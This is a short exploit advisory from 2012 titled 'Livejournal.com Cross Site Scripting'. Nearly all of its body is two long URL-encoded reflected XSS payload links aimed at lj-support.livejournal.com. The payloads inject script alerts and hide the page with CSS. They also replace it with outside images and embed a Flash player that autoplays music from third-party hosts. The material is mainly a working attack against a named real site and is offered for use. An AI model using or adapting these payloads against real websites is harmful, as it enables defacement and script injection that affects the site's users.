Livejournal.com Cross Site Scripting

# Exploit Title: Livejournal.com Cross Site Scripting
# Date: 27.02.2012
# Author: Sony
# Software Link: http://www.livejournal.com/
# Web Browser : Mozilla Firefox
# Blog : http://st2tea.blogspot.com
# PoC:
http://st2tea.blogspot.com/2012/02/livejournalcom-cross-site-scripting.html
..................................................................

Yes. It's a Cross Site Scripting "Don't Cry"..

http://lj-support.livejournal.com/go?

Demo:

http://lj-support.livejournal.com/2012/02/%27;alert%28String.fromCharCode%2888,83,83%29%29//%5C%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//%5C%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E%22%3E%3Cbody%20background=%22http://www.lenagold.ru/fon/peo/det/dety38.jpg%22%3E%3Cscript%3Ealert%28%22inSecurity.Ro%20Presents:Cross%20Site%20Scripting%20-Don%27t%20Cry..create%20by%20Sony%22%29%3C/script%3E%20%20%3Cobject%20data=http://htmlka.com/wp-content/uploads/2009/06/webplayer.swf%20type=%22application/x-shockwave-flash%22%20width=%22240%22%20height=%2264%22%3E%3Cparam%20name=%22movie%22%20value=http://htmlka.com/wp-content/uploads/2009/06/webplayer.swf%3E%3Cparam%20name=%22menu%22%20value=%22false%22%3E%20%3Cparam%20name=%22scale%22%20value=%22noscale%22%3E%3Cparam%20name=%22flashvars%22%20value=%22src=http://www.audiopoisk.com/files/no/guns-n-roses---guns-n-roses---13---dont-cry-398865.mp3&autostart=yes%22%3E%3C/object%3E

http://lj-support.livejournal.com/2012/02/%27;alert%28String.fromCharCode%2888,83,83%29%29//%5C%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//%5C%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E%22%3E%3Cstyle%3Ebody%7Bvisibility:hidden;%7D%20html%7Bbackground-image:url%28%27http://www.lenagold.ru/fon/ori/nebo/cher/star43.jpg%27%29;%7D%3C/style%3E%3Cdiv%20style=%22position:%20absolute;center:%20420px;top:%2040px;%E2%80%8B%E2%80%8Bz-index:%2010;visibility:%20visible;%20color:%20black;%20font-size:%2040px;%22%3E%3Cimg%20src=%22http://www.krassota.com/i/dance/11.gif%22%20style=%22height:%20600px;%20width:%20900px;%22%3E%20%3Cobject%20data=http://htmlka.com/wp-content/uploads/2009/06/webplayer.swf%20type=%22application/x-shockwave-flash%22%20width=%22240%22%20height=%2264%22%3E%3Cparam%20name=%22movie%22%20value=http://htmlka.com/wp-content/uploads/2009/06/webplayer.swf%3E%3Cparam%20name=%22menu%22%20value=%22false%22%3E%20%3Cparam%20name=%22scale%22%20value=%22noscale%22%3E%3Cparam%20name=%22flashvars%22%20value=%22src=http://www.audiopoisk.com/files/pretty-woman/elvis-presli-1665209.mp3&autostart=yes%22%3E%3C/object%3E